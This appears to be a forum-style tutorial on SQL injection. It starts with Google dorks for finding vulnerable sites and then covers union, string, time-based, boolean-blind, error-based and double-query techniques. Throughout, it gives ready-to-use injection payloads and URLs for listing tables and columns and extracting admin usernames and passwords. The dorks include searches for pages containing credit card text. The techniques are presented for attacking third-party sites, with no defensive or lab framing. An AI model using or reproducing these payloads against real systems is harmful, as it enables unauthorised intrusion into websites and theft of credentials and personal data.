You can use google dorks to find SQL injection vulnerabilities. Here is an example of google dork:
This one will search for "index.php?id" in the URL in .com domains.
Here are some searching operators
Here is list with SQLi dorks:
Thanks to The Protagonis for sharing them(before 2 years).
You can add + (domainhere) Here are some examples:
Also you could search for keywords by that way:
just type intext"keyword" and change keyword with something for example credit card.
I think this is enough for basics of google dorks.

This is one of the easiest SQL injections.The difference between string SQL injection and the basic SQL injection(Union Query) is that we don't write -- but we write --+,+--+ or +-- and you add ' after the parametar. So I will write for basic injection(Union Query) and add examples for string injection First you need to check if the website is vulnerable. You are doing this by writing ' at the end of URL here is example:
And after you hit enter you should see error message similar to this one:
If you get similar error the site is vulnerable if you don't then the site isn't vulnerable to string based SQLi. But let's say that our site is vulnerable let's go to the next step. You should find the number of columns we do that by using order by statement, I will highly recommend to add -- after each query. Delete the ' and write order by and start guessing numbers of columns, its more easy to start with 100 to be sure that you will get error and then continue by 10, if you get error on 10 too, then try with 5 if you don't get error on 5, try with 7 if you don't get error on 7 try, with 8 if you get error on 8 then the number of columns is 7. Basicly if your number is less than the number of columns you fon't get error, if the number is greater than the number of columns, it will throw you and error.
Now you should find the vulnerable column or the column from which you can take information we do that by union select or union all select statement, you should write - before the parametar here how your URL should look.
We know that number of columns is 7, and one of those 7 colums gives information to us. Let's see which one is it.
Now you should see some numbers and one big number(number with large font) this is the vulnerable column. Now we should find the version of the database we do that with @@version or version() query change the vulnerable column number with one of those queryies for example our vulnerable column is 5.
Now if the version is >= 5 then this is good. If its 4.x.x just give up you should guess DB name table name column name you can try to use automate tool. Since I don't want to write about version less than 5, let's assume that the databse is version 5.x.x. Ok so next step is to find the DB name we do this by group_concat.
Also if you want to get all database then you should search for information.schema you can do that by group_concat(schema_name) query and add this query at the end of the URL from information_schema.schemata
Let's say that db name is DataBaseName. Now you should find table name we do this with group_concat(table_name) query and from information_schema.tables where table_schema=database() at the end of URL.
The group_concat query can return only(by default with SQLi you can't change this option) 1024 characters if you need more charecters you need to use group_concat() and a limit
Keep increasing that limit. Now you should have list with names for example admins, users, news,... we will check admin. To find columns in table admin we use group_concat(column_name) and from+information_schema.columns where table_name="TABLE NAME HERE".
If you get error you should turn the table name into hex you can use this tool http://www.swingnote.com/tools/texttohex.php to do this!PLACE 0x BEFORE THE HEX VALUE!
you can use limit as the same way as in finding table name.
Now you should see new text let's say that we have username and password to extract information from them we use group_concat(COLUMNS NAMES HERE) and from DATABASE HERE.TABLE NAME HERE. Example will make this clear.
0x3a means colon it's better to use it but it's not so important. This is it you have exploit your web site!

Time based SQL injection is very easy to undestand for me, hope that will be the same with you.
Let's start.

First there are two types of time based(or delay) injection integer and string injection, actually the diffrent between both is one ' in the url. Here is how integer and string injections look:
Actually those queryies tell the database to wait 20 second before response if the database don't wait(return directly) its false if wait its true.
Now it's time to find the DB username we have to find all characters, we do this IF (len(user)=number of characters) waitfor delay '00:00:20'--
Ok now you ask the database if the user have one character, if yes the database will response after 20 second if not will return directly. Actually I haven't see user name with only one char.
So now the database return on 5 characters, but what exacly are those characters we will use ASCII to see. We will use this query IF (ascii(lower(substring((user),1,1)))>ASCII number) waitfor delay '00:00:20'-- to guess the name.
Here is nice ASCII table: http://upload.wikimedia.org/wikipedia/commons/1/1b/ASCII-Table-wide.svg. Now we know that the first character is U since the database wait 20 seconds on ASCII number 55 which is U, now to find the second character we do this by the same query just change 1 to 2:
Now we see that second character is S because database wait for delay on 53 and first char is U second is S this mean that the the name may be user so lets try first with E then with R.
and we have find that th user name is USER. Now it's time to get the database name, hope that the administrator don't like long names (acually they do). The process is pretty similar with the proccess of guessing username we use ; IF (len(db_name())=number of characters) waitfor delay '00:00:20'-- to get the lenght of the database name.
We see that the lengh of the database name is 8 so now we should guess the characters again we will use IF (ascii(lower(substring((db_name),1,1)))>ASCII) waitfor delay '00:00:10'--
We see that the first character is "D", let's see for the second one
Now we see that the second character is "a", let's see for the 3.
The name of the database is "Database". Now its time go get table name, we use IF (LEN(SELECT TOP 1 NAME FROM SYSOBJECTS WHEREXTYPE='U')=NUMBER OF CHARS) waitfor delay '00:00:20'-- to get the name lenght.
Now we see that the lengh of the table is 5 let's start guessing. We do this by IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=ASCII VALUE) waitfor delay '00:00:20'-- [/b[

Code:

www.site.com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=93)) waitfor delay '00:00:20'-- * return directly / false www.site.com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=94)) waitfor delay '00:00:20'-- * return directly / false www.site.com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=95)) waitfor delay '00:00:20'-- * return directly / false www.site.com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=96)) waitfor delay '00:00:20'-- * return directly / false www.site.com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=97)) waitfor delay '00:00:20'-- * wait 20 second /true For string injection www.site.com/index.asp?id=123';IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=93)) waitfor delay '00:00:20'-- * return directly / false www.site.com/index.asp?id=123';IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=94)) waitfor delay '00:00:20'-- * return directly / false www.site.com/index.asp?id=123';IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=95)) waitfor delay '00:00:20'-- * return directly / false www.site.com/index.asp?id=123';IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=96)) waitfor delay '00:00:20'-- * return directly / false www.site.com/index.asp?id=123';IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=97)) waitfor delay '00:00:20'-- * wait 20 second /true

The first character is "a", let's see the second one

Code:

www.site.com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=96)) waitfor delay '00:00:20'-- * return directly / false www.site.com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=97)) waitfor delay '00:00:20'-- * return directly / false www.site.com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=98)) waitfor delay '00:00:20'-- * return directly / false www.site.com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=99)) waitfor delay '00:00:20'-- * return directly / false www.site.com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=100)) waitfor delay '00:00:20'-- * wait 20 second /true For string injection www.site.com/index.asp?id=123';IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=96)) waitfor delay '00:00:20'-- * return directly / false www.site.com/index.asp?id=123';IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=97)) waitfor delay '00:00:20'-- * return directly / false www.site.com/index.asp?id=123';IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=98)) waitfor delay '00:00:20'-- * return directly / false www.site.com/index.asp?id=123';IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=99)) waitfor delay '00:00:20'-- * return directly / false www.site.com/index.asp?id=123';IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=100)) waitfor delay '00:00:20'-- * wait 20 second /true

Now we see that the second character is d"", now again what start with ad and it's 5 characters I bet that it't admin let's see.

Code:

www.site.com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=109)) waitfor delay '00:00:20'-- * wait 20 second /true www.site.com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=105)) waitfor delay '00:00:20'-- * wait 20 second /true www.site.com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=110)) waitfor delay '00:00:20'-- * wait 20 second /true For string injection www.site.com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=109)) waitfor delay '00:00:20'-- * wait 20 second /true www.site.com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=105)) waitfor delay '00:00:20'-- * wait 20 second /true www.site.com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=110)) waitfor delay '00:00:20'-- * wait 20 second /true

Yes it's admin, now it's time to extract the column name the query we will use is [b]IF (len(select top 1 column_name from DATABASE NAME.information_schema.columns where table_name='TABLE NAME')=NUMBER OF CHARS) waitfor delay '00:00:20'--
So we see that our column name lengh is 5, guessing again. query we use is IF (ASCII(lower(substring((SELECT TOP 1 column_name from DATABASE NAME.information_schema.columns where table_name='TABLE NAME HERE'),1,1)))=ASCII VALUE) waitfor delay '00:00:20'--
Ok so now we see that the first character is U what start with U Username let's try
Nope the second character isn't "s". So we have to continue with guessing.
The second one is "n" let's try with uname ?
Yes the first column name is uname now let's to check for second one we will use the query IF (LEN(SELECT TOP 1 column_name from DATABASE NAME.information_schema.columns where table_name='TABLE NAME' and column_name>'Previous column')=lengh) waitfor delay '00:00:20'--.
Now our next column lengh is 4 characters let's guess it, we do this by the same query as previous we just add column_name>'Previous column'.
Now we see that the first character is "p", and let's see what we have its second column start with"p" and its 4 char long looks like pass, let's try it.
At last now it's time to extract data from columns, and again we should guess it, we do this by this query IF (LEN(SELECT TOP 1 COLUMN NAME from TABLE NAME)=lengh) + waitfor delay '00:00":20'--
We see that text lengh is 5 let's guess it again, we use IF (ASCII(substring((SELECT TOP 1 COLUMN NAME from TABLE NAME),1,1))=ASCII) waitfor delay '00:00":20'--
For here we see that the first char is a, I bet again that this is admin, let's see.
Yes it's admin, ok now let's go to the second column we just write the second column name. First we will get the lengh
Now if the password is hashed better give up or use automate tool. This password is 4 characters lengh so let's try with "love".
At lost, we have the admin user name and password admin:love.

If you have read the tutorial about time delay(based) SQL injection this won't be so hard for you basicly you have to guess every think.
To test website for blind SQL vulnerability we use and 1=1, and 1=2[b] query here is how it's done.

Code:

www.site.com/news.php?id=1 and 1=1 * Page load normal www.site.com/news.php?id=1 and 1=2 * Page doesn't load normal for example the images have disappear or the text anything that can change on the web page

Now it's time to guess the version of the database most time's is 5 or 4 we do this by this query [b]and substring(@@version,1,1)=VERSION HERE[/b[

Code:

www.site.com/news.php?id=1 and substring(@@version,1,1)=4 * Page doesn't load normal/false www.site.com/news.php?id=1 and substring(@@version,1,1)=5 * Page load normal/true

Ok the version is 5, now we have to guess table names we do this by this query [b]and (SELECT 1 from TABLE NAME limit 0,1)=1, let's guess some tables.
So we see tables news and admin let's see columns have admin, we have to guess again, we do this with "(SELECT substring(concat(1,COLUMN NAME),1,1) from TABLE NAME limit 0,1)=1" query.
Now we have table with name admin and 2 columns user and pass. Now we have to guess the data we do this with ASCII like in time based but we can't get the lengh. We do this by this query and ascii(substring((SELECT concat(COLUMN) from TABLE),CHARACTER NUMBER,1))>ASCII VALUE HERE[b].

Code:

www.site.com/news.php?id=1 and ascii(substring((SELECT concat(user) from admin),1,1))>97 * Page load normal the first char is a we can try with admin ? www.site.com/news.php?id=1 and ascii(substring((SELECT concat(user) from admin),2,1))>100 * Page load normal second characters is d www.site.com/news.php?id=1 and ascii(substring((SELECT concat(user) from admin),3,1))>109 * Page load normal the character is m I can be bet that it's admin. www.site.com/news.php?id=1 and ascii(substring((SELECT concat(user) from admin),1,1))>105 * Page load normal, the character is i www.site.com/news.php?id=1 and ascii(substring((SELECT concat(user) from admin),1,1))>110 * Page load normal the data is admin.

Now let's extract the data from second column just change the column names.

Code:

www.site.com/news.php?id=1 and ascii(substring((SELECT concat(pass) from admin),1,1))>122 *Doesn't load normal the first character isn't z www.site.com/news.php?id=1 and ascii(substring((SELECT concat(pass) from admin),1,1))>112 * Page load normal first character is p www.site.com/news.php?id=1 and ascii(substring((SELECT concat(pass) from admin),2,1))>97 * Page load normal the character is a www.site.com/news.php?id=1 and ascii(substring((SELECT concat(pass) from admin),3,1))>115 * Page load normal, the character is s www.site.com/news.php?id=1 and ascii(substring((SELECT concat(pass) from admin),4,1))>115 * Page load normal the data is pass.

We have extract the data the user and password of the admin is admin:pass. I make this look easy but belive me it's not.

The cool thing here is that we don't have to guess tables and columns. Basicly you can use this method when you get error like:
So let's start with explotning. First we will find the version we do this by this query [b]or 1 group by concat_ws(0x7e,version(),floor(rand(0)*2)) having min(0) or 1--
Now you should get error like this.
So now we have to find table names, we do this by this query and (select 1 from (select+count(*),concat((select(select+concat(cast(table_name as char),0x7e)) from information_schema.tables where table_schema=0xDATABASEHE?X limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
Now we should one table name let's say that it's tbladmin, we have to find other by increasing the limit. Just change the first number in limit
To get all tables continue increasing the limit, now let's get the column name. We will use this query and (select 1 from (select count(*),concat((select(select concat(cast(column_name as char),0x7e)) from information_schema.columns where table_name=0xHEX OF TABLE limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
Now le't increase the limit until we get the columns we want.
Let's say that we have user and password, now it's time to extract the data from columns we have to guess it........ I'm kidding we don't have to guess it we extrack it with this query and (select 1 from+(select count(*),concat((select(select concat(cast(concat(COLUMN1,0x7e,COLUMN2) as char),0x7e)) from TABLENAME limit+0,1),floor?(rand(0)*2))x from information_schema.tables group by x)a)
Now you should get error "Duplicate entry"

In this spoiler you will read about double query, it's not so hard injection. Let's start, to check website for vulnerability use '.
Ok the first thing we should do is to find the column count. we do this by order by statment like the way with string injection.
This mean that the number of columns is 11, hope that you know this. Now it's time for the union.
But instand of the vulnerable column we get error.
Ok now here comes double query, first we will find the version with this query and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(version() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 --+-
we should get something like
Ok since we have the version it's time to extract the database name, we do this with and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(database() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 --+-
And you should get similar error.
Where universe is the name we search. Now it's time to find the database user, we do this by and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(user() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 --+- query
Now you should get error like this
Now it's time to number of the tables we do this by this query and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,count(table_name),0x27,0x7e) FROM `information_schema`.tables WHERE table_schema=0xDATABASE NAME)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1--+- , We need to turn the database into hex
we can do this by using this site
http://www.swingnote.com/tools/texttohex.php
[/code]
Here how this should look.
From the error I see that I have 2 tables. Now it's time to get their names, we do this by this query and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(table_name as char),0x27,0x7e) FROM information_schema.tables Where table_schema=0xDATABASE limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 --+-
Now you may see that after the database name in hex there is limit, we need to incrase it to get all tables.
Let's say that we have those errors.
Our table names are news and admin, now let's find the column count for admin? We do this by and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,count(column_name),0x27,0x7e) FROM `information_schema`.columns WHERE table_schema=0xDatabase AND table_name=0xTABLE)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1--+-[b] , database and table should be in HEX again.

Code:

http://www.site.com/index.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,count(column_name),0x27,0x7e) FROM `information_schema`.columns WHERE table_schema=0x756e697665727365 AND table_name=0x61646d696e )) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 --+-

Let's say that that I have this error

Code:

Duplicate entry '~'number_of_column(e.g 2)~1' for key 1

This means that I have 2 columns, now let's extract their names. To find the name of column we use this query [b]and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(column_name as char),0x27,0x7e) FROM information_schema.columns Where table_schema=0xDATABASE AND table_name=0xTABLE LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 --+-, now you may see that here we have limit too you should increate it for more names
Let's say that I have those errors.
Our column names are username and password now it's time to extract the information we do this by this query and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,cast(TABLE.COLUMN as char),0x27,0x7e) FROM `DATABASE`.admin LIMIT 0,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 --+- PAY ATTENTION ON TABLE NAME AND COLUM NAME.
Let's say that I get those errors
From here I see that the admin user:pass is Admin:123456